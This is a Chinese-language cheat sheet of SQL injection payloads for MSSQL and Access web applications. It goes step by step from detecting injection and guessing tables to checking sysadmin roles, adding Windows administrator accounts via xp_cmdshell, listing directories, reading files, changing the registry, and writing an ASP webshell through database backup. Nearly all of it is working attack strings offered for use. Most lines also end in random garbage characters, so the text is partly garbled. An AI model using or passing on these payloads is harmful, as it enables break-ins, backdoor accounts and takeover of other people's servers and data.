1.判断是否有注入;and 1=1 ;and 1=2 ^&eF916H
2.初步判断是否是mssql ;and user>0 k5S;G"iJ
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3.注入参数是字符'and [查询条件] and ''=' C 5.3[
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6L<:>55
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5.判断数据库系统 k6Kc{kY
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;and (select count(*) from msysobjects)>0 access *DF3juf~
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 Nn. 9J
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 K~
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 OM\J4"YV$
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9.(1)猜字段的ascii值(access) Js,! G
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10.测试权限结构(mssql) ?*fa5=ql
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- AWR :~{
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- tDK@?PfKz
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- B5lwQp]
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r6DLShP-Ur
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- MKHnA|uQ](
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9p{4-]
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;and 1=(select IS_MEMBER('db_owner'));-- :5t4KcQ
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11.添加mssql和系统的帐户 jRK}H*uem
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;exec master.dbo.sp_addlogin username;-- 6j%%CWU{~
;exec master.dbo.sp_password null,username,password;-- U4 !bW
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- "<CM'R
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;exec master.dbo.xp_cmdshell 'net user username password clE9I<1v
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- -$d?e%}#
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ? x%s
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12.(1)遍历目录 }LUvh
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;create table dirs(paths varchar(100), id int) 'n &p5%
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ?WI v4
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;and (select top 1 paths from dirs)>0 V}E['fzBFV
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) X|of87
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(2)遍历目录 ,1-%C)
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *lfjsrPu
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 S^QEc tXU
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 JX59n%$@
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 a5a
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 GBz?$]6
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13.mssql中的存储过程 CsR[@&n'
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xp_regenumvalues 注册表根键, 子键 6uRE9h|
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 HSruue8
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xp_regread 根键,子键,键值名 UylIxd
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 '(]Wtx%9"
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xp_regwrite 根键,子键, 值名, 值类型, 值 NEBhVh
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +)c<s3OCE
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xp_regdeletevalue 根键,子键,值名 R@\fqNq
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 gwaSgV$z
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 IOHWb&N6
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14.mssql的backup创建webshell M6-uTmN:d
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backup database model to disk='c:\l.asp'; ~<1s[Hu
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15.mssql内置函数 eC/{c1C
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;and (select @@version)>0 获得Windows的版本号 \>$zxC_
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Zbo4{.#
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;and (select user_name())>0 爆当前系统的连接用户 7(/yyZQnZ
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;and (select db_name())>0 得到当前连接的数据库 (j>`+F5f
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16.简洁的webshell 0\i\G|5
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create table cmd(str image); f@sC~A. 9\
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backup database model to disk='g:\wwwtest\l.asp';